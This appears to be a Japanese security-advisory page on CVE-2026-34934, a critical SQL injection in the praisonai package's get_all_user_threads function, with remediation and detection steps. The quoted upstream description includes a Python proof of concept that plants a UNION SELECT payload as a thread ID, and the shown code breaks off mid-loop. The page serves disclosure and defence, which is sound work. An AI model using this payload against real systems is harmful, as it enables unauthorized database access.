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CVE-2026-34934 critical CVSS 9.8

praisonai に SQLインジェクション (CVE-2026-34934)

概要

praisonai に SQLインジェクション (CVE-2026-34934) が存在。悪用されるとシステム全体を乗っ取られる可能性があります。get_all_user_threads 経由で攻撃可能。対策: 4.5.90 以上に更新。

原文の説明

取得元が公開している説明をそのまま載せています (多くは英語)。

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.


Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

  • Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
  • Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
  • Sink (Line 576):
WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:…

出典: NIST National Vulnerability Database NVD GitHub Advisory

自動生成の要約

取得元のデータ (CVSS・CWE・影響バージョンなど) から SecPulse が定型文で組み立てた要約です。AI は使っていません。正確な内容は下の原文と参照URLで確認してください。

praisonai という製品で、CVE-2026-34934 という番号がついた弱点 (脆弱性) が見つかりました。
悪い人がインターネット越しに get_all_user_threads のような特定の入り口を狙うことで、製品の中を不正に操作できてしまいます。
悪用されるとシステム全体を乗っ取られる可能性があります。重要度は CVSS スコア 9.8/10 です。
対策: praisonai を 4.5.90 以上に更新してください。
心配なら、システム担当者や製品の公式サイトで「praisonai CVE-2026-34934」を検索してください。

CVE-2026-34934 (praisonai) — CWE-89 / CVSS v3 9.8
攻撃ベクター: ネットワーク経由 (リモート攻撃可) / 認証不要 / 被害者操作不要
脆弱箇所: get_all_user_threads / update_thread
修正バージョン: 4.5.90 (即時適用推奨)
対応方針: 1) SBOMで影響バージョン横断確認, 2) ステージング検証→本番更新, 3) WAF/プロキシで該当エンドポイントを監視, 4) ログでIOC調査。
参考: 当ページの『参照URL』の GHSA / vendor advisory / patched release を参照。

❓ 何が問題か

praisonai に SQLインジェクション (CWE-89) があります。攻撃者は get_all_user_threads を経由して脆弱な処理に到達し、認証なしで悪用できます。

📍 影響範囲

praisonai の影響バージョンはベンダーのアドバイザリで確認してください。攻撃箇所: get_all_user_threads / update_thread。

🔥 重要度

重要度: 最重要 (CVSS 9.8/10)。悪用されるとシステム全体を乗っ取られる可能性があります。

🔧 修正方法

4.5.90 に更新してください。

🛡️ 暫定回避

修正版が未提供時は、影響機能の無効化・WAFルール・ネットワークACLでの遮断を検討。

🔍 検知方法

Webサーバ・プロキシ・WAFログで該当CVEのIOCに合致する不審リクエストを検索。SBOM/依存ファイルで影響バージョンを横断確認。

対応アクション

SOC/SREチームが順番に実行すべき具体的なステップとコマンド例

  1. 1
    影響範囲の特定 identify
    grep -r 'praisonai' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praisonai を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    パッチ適用 patch
    Upgrade praisonai to 4.5.90

    ステージング環境で 4.5.90 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    事後検証 verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

影響パッケージ

PyPI praisonai
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.90"}]}]

参照URL

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